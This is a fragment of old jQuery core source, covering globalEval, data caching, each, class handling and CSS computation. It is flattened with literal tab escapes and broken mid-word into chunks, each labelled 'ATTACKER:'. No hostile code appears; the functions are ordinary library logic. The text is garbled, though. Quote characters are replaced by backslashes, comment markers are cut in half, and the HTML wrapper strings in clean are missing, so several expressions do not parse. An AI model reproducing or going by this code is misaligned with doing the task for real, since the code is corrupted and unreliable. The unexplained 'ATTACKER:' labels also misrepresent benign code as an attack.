elem.ownerDocument && !elem.ownerDocument.body;\t},\t/ Evalulates a script in a global context\tglobalEval: function( data ) {\t\tdata = jQuery.trim( data );\t\tif ( data ) {\t\t\t/ Inspired by code by Andrea Giammarchi\t\t\t/ http:/webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html\t\t\tvar head = document.getElementsByTagName(\head\)[0] || document.documentElement,\t\t\t\tscript = document.createElement(\script\);\t\t\tscript.type = \text/javascript\;\t\t\tif ( jQuery.browser.ms 
ATTACKER:	ie )\t\t\t\tscript.text = data;\t\t\telse\t\t\t\tscript.appendChild( document.createTextNode( data ) );\t\t\thead.appendChild( script );\t\t\thead.removeChild( script );\t\t}\t},\tnodeName: function( elem, name ) {\t\treturn elem.nodeName && elem.nodeName.toUpperCase() == name.toUpperCase();\t},\t\tcache: {},\t\tdata: function( elem, name, data ) {\t\telem = elem == window ?\t\t\twindowData :\t\t\telem;\t\tvar id = elem[ expando ];\t\t/ Compute a unique ID for the element\t\tif ( !id ) \t\t\tid = elem[ expando ] = ++uuid;\t\t/ Only generate the data cache if we're\t\t/ trying to access or manipulate it\t\tif ( name && !jQuery.cache[ id ] )\t\t\tjQuery.cache[ id ] = {};\t\t\t\t/ Prevent overriding the named cache with undefined values\t\tif ( data != undefined )\t\t\tjQuery.cache[ id ][ name ] = data;\t\t\t\t/ Return the named cache data, or the ID for the element\t\t\treturn name ?\t\t\tjQuery.cache[ id ][ name ] :\t\t\tid;\t},\t\tremoveData: function( elem, name ) {\t\telem = elem == window ?\t\t\twindowData :\t\t\telem;\t\tvar id = elem[ expando ];\t\t/ If we want to remove a specific section of the element's data\t\tif ( name ) {\t\t\tif ( jQuery.cache[ id ] ) {\t\t\t\t/ Remove the section of cache data\t\t\t\tdelete jQuery.cache[ id ][ name ];\t\t\t\t/ If we've removed all the data, remove the element's cache\t\t\t\tname = \\;\t\t\t\tfor ( name in jQuery.cache[ id ] )\t\t\t\t\tbreak;\t\t\t\tif ( !name )\t\t\t\t\tjQuery.removeData( elem );\t\t\t}\t\t/ Otherwise, we want to remove all of the el 
ATTACKER:	ement's data\t\t} else {\t\t\t/ Clean up the element expando\t\t\ttry {\t\t\t\tdelete elem[ expando ];\t\t\t} catch(e){\t\t\t\t/ IE has trouble directly removing the expando\t\t\t\t/ but it's ok with using removeAttribute\t\t\t\tif ( elem.removeAttribute )\t\t\t\t\telem.removeAttribute( expando );\t\t\t}\t\t\t/ Completely remove the data cache\t\t\tdelete jQuery.cache[ id ];\t\t}\t},\t/ args is for internal usage only\teach: function( object, callback, args ) {\t\tif ( args ) {\t\t\tif ( object.length == undefined ) {\t\t\t\tfor ( var name in object )\t\t\t\t\tif ( callback.apply( object[ name ], args ) === false )\t\t\t\t\t\tbreak;\t\t\t} else\t\t\t\tfor ( var i = 0, length = object.length; i < length; i++ )\t\t\t\t\tif ( callback.apply( object[ i ], args ) === false )\t\t\t\t\t\tbreak;\t\t/ A special, fast, case for the most common use of each\t\t} else {\t\t\tif ( object.length == undefined ) {\t\t\t\tfor ( var name in object )\t\t\t\t\tif ( callback.call( object[ name ], name, object[ name ] ) === false )\t\t\t\t\t\tbreak;\t\t\t} else\t\t\t\tfor ( var i = 0, length = object.length, value = object[0]; \t\t\t\t\ti < length && callback.call( value, i, value ) !== false; value = object[++i] ){}\t\t}\t\treturn object;\t},\t\tprop: function( elem, value, type, i, name ) {\t\t\t/ Handle executable functions\t\t\tif ( jQuery.isFunction( value ) )\t\t\t\tvalue = value.call( elem, i );\t\t\t\t\t\t\t/ Handle passing in a number to a CSS property\t\t\treturn value && value.constructor == Number && type == \curCSS\ && !exclude.test 
ATTACKER:	( name ) ?\t\t\t\tvalue + \px\ :\t\t\t\tvalue;\t},\tclassName: {\t\t/ internal only, use addClass(\class\)\t\tadd: function( elem, classNames ) {\t\t\tjQuery.each((classNames || \\).split(/\\s+/), function(i, className){\t\t\t\tif ( elem.nodeType == 1 && !jQuery.className.has( elem.className, className ) )\t\t\t\t\telem.className += (elem.className ? \ \ : \\) + className;\t\t\t});\t\t},\t\t/ internal only, use removeClass(\class\)\t\tremove: function( elem, classNames ) {\t\t\tif (elem.nodeType == 1)\t\t\t\telem.className = classNames != undefined ?\t\t\t\t\tjQuery.grep(elem.className.split(/\\s+/), function(className){\t\t\t\t\t\treturn !jQuery.className.has( classNames, className );\t\t\t\t\t\t}).join(\ \) :\t\t\t\t\t\\;\t\t},\t\t/ internal only, use is(\.class\)\t\thas: function( elem, className ) {\t\t\treturn jQuery.inArray( className, (elem.className || elem).toString().split(/\\s+/) ) > -1;\t\t}\t},\t/ A method for quickly swapping in/out CSS properties to get correct calculations\tswap: function( elem, options, callback ) {\t\tvar old = {};\t\t/ Remember the old values, and insert the new ones\t\tfor ( var name in options ) {\t\t\told[ name ] = elem.style[ name ];\t\t\telem.style[ name ] = options[ name ];\t\t}\t\tcallback.call( elem );\t\t/ Revert the old values\t\tfor ( var name in options )\t\t\telem.style[ name ] = old[ name ];\t},\tcss: function( elem, name, force ) {\t\tif ( name == \width\ || name == \height\ ) {\t\t\tvar val, props = { position: \absolute\, visibility: \hidde 
ATTACKER:	n\, display:\block\ }, which = name == \width\ ? [ \Left\, \Right\ ] : [ \Top\, \Bottom\ ];\t\t\t\t\tfunction getWH() {\t\t\t\tval = name == \width\ ? elem.offsetWidth : elem.offsetHeight;\t\t\t\tvar padding = 0, border = 0;\t\t\t\tjQuery.each( which, function() {\t\t\t\t\tpadding += parseFloat(jQuery.curCSS( elem, \padding\ + this, true)) || 0;\t\t\t\t\tborder += parseFloat(jQuery.curCSS( elem, \border\ + this + \Width\, true)) || 0;\t\t\t\t});\t\t\t\tval -= Math.round(padding + border);\t\t\t}\t\t\t\t\tif ( jQuery(elem).is(\:visible\) )\t\t\t\tgetWH();\t\t\telse\t\t\t\tjQuery.swap( elem, props, getWH );\t\t\t\t\t\treturn Math.max(0, val);\t\t}\t\t\t\treturn jQuery.curCSS( elem, name, force );\t},\tcurCSS: function( elem, name, force ) {\t\tvar ret;\t\t/ A helper method for determining if an element's values are broken\t\tfunction color( elem ) {\t\t\tif ( !jQuery.browser.safari )\t\t\t\treturn false;\t\t\tvar ret = document.defaultView.getComputedStyle( elem, null );\t\t\treturn !ret || ret.getPropertyValue(\color\) == \\;\t\t}\t\t/ We need to handle opacity special in IE\t\tif ( name == \opacity\ && jQuery.browser.msie ) {\t\t\tret = jQuery.attr( elem.style, \opacity\ );\t\t\treturn ret == \\ ?\t\t\t\t\1\ :\t\t\t\tret;\t\t}\t\t/ Opera sometimes will give the wrong display answer, this fixes it, see #2037\t\tif ( jQuery.browser.opera && name == \display\ ) {\t\t\tvar save = elem.style.outline;\t\t\telem.style.outline = \0 solid black\;\t\t\telem.style.outline = save;\t\t}\t\t\t\t/ Make sure we're using the  
ATTACKER:	right name for getting the float value\t\tif ( name.match( /float/i ) )\t\t\tname = styleFloat;\t\tif ( !force && elem.style && elem.style[ name ] )\t\t\tret = elem.style[ name ];\t\telse if ( document.defaultView && document.defaultView.getComputedStyle ) {\t\t\t/ Only \float\ is needed here\t\t\tif ( name.match( /float/i ) )\t\t\t\tname = \float\;\t\t\tname = name.replace( /([A-Z])/g, \-\$1\ ).toLowerCase();\t\t\tvar getComputedStyle = document.defaultView.getComputedStyle( elem, null );\t\t\tif ( getComputedStyle && !color( elem ) )\t\t\t\tret = getComputedStyle.getPropertyValue( name );\t\t\t/ If the element isn't reporting its values properly in Safari\t\t\t/ then some display: none elements are involved\t\t\telse {\t\t\t\tvar swap = [], stack = [];\t\t\t\t/ Locate all of the parent display: none elements\t\t\t\tfor ( var a = elem; a && color(a); a = a.parentNode )\t\t\t\t\tstack.unshift(a);\t\t\t\t/ Go through and make them visible, but in reverse\t\t\t\t/ (It would be better if we knew the exact display type that they had)\t\t\t\tfor ( var i = 0; i < stack.length; i++ )\t\t\t\t\tif ( color( stack[ i ] ) ) {\t\t\t\t\t\tswap[ i ] = stack[ i ].style.display;\t\t\t\t\t\tstack[ i ].style.display = \block\;\t\t\t\t\t}\t\t\t\t/ Since we flip the display style, we have to handle that\t\t\t\t/ one special, otherwise get the value\t\t\t\tret = name == \display\ && swap[ stack.length - 1 ] != null ?\t\t\t\t\tone\ :\t\t\t\t\t( getComputedStyle && getComputedStyle.getPropertyValue( name ) ) || \\;\t\t\t\t/ Fi 
ATTACKER:	nally, revert the display styles back\t\t\t\tfor ( var i = 0; i < swap.length; i++ )\t\t\t\t\tif ( swap[ i ] != null )\t\t\t\t\t\tstack[ i ].style.display = swap[ i ];\t\t\t}\t\t\t/ We should always get a number back from opacity\t\t\tif ( name == \opacity\ && ret == \\ )\t\t\t\tret = \1\;\t\t} else if ( elem.currentStyle ) {\t\t\tvar camelCase = name.replace(/\\-(\\w)/g, function(all, letter){\t\t\t\treturn letter.toUpperCase();\t\t\t});\t\t\tret = elem.currentStyle[ name ] || elem.currentStyle[ camelCase ];\t\t\t/ From the awesome hack by Dean Edwards\t\t\t/ http:/erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291\t\t\t/ If we're not dealing with a regular pixel number\t\t\t/ but a number that has a weird ending, we need to convert it to pixels\t\t\tif ( !/^\\d+(px)?\$/i.test( ret ) && /^\\d/.test( ret ) ) {\t\t\t\t/ Remember the original values\t\t\t\tvar style = elem.style.left, runtimeStyle = elem.runtimeStyle.left;\t\t\t\t/ Put in the new values to get a computed value out\t\t\t\telem.runtimeStyle.left = elem.currentStyle.left;\t\t\t\telem.style.left = ret || 0;\t\t\t\tret = elem.style.pixelLeft + \px\;\t\t\t\t/ Revert the changed values\t\t\t\telem.style.left = style;\t\t\t\telem.runtimeStyle.left = runtimeStyle;\t\t\t}\t\t}\t\treturn ret;\t},\t\tclean: function( elems, context ) {\t\tvar ret = [];\t\tcontext = context || document;\t\t/ !context.createElement fails in IE with an error but returns typeof 'object'\t\tif (typeof context.createElement == 'undefined') \t\t\tcontext = context 
ATTACKER:	.ownerDocument || context[0] && context[0].ownerDocument || document;\t\tjQuery.each(elems, function(i, elem){\t\t\tif ( !elem )\t\t\t\treturn;\t\t\tif ( elem.constructor == Number )\t\t\t\telem = elem.toString();\t\t\t\t\t\t/ Convert html string into DOM nodes\t\t\tif ( typeof elem == \string\ ) {\t\t\t\t/ Fix \XHTML\-style tags in all browsers\t\t\t\telem = elem.replace(/(<(\\w+)[^>]*?)\\/>/g, function(all, front, tag){\t\t\t\t\treturn tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)\$/i) ?\t\t\t\t\t\tall :\t\t\t\t\t\tfront + \>\;\t\t\t\t});\t\t\t\t/ Trim whitespace, otherwise indexOf won't work as expected\t\t\t\tvar tags = jQuery.trim( elem ).toLowerCase(), div = context.createElement(\div\);\t\t\t\tvar wrap =\t\t\t\t\t/ option or optgroup\t\t\t\t\t!tags.indexOf(\\, \\ ] ||\t\t\t\t\t\t\t\t\t\t!tags.indexOf(\\, \\ ] ||\t\t\t\t\t\t\t\t\t\ttags.match(/^<(thead|tbody|tfoot|colg|cap)/) &&\t\t\t\t\t[ 1, \\, \
\ ] ||\t\t\t\t\t\t\t\t\t\t!tags.indexOf(\\, \\ ] ||\t\t\t\t\t\t\t\t\t \t/ matched above\t\t\t\t\t(!tags.indexOf(\\, \\ ] ||\t\t\t\t\t\t\t\t\t\t!tags.indexOf(\\, \\ ] ||\t\t\t\t\t/ IE can't serialize and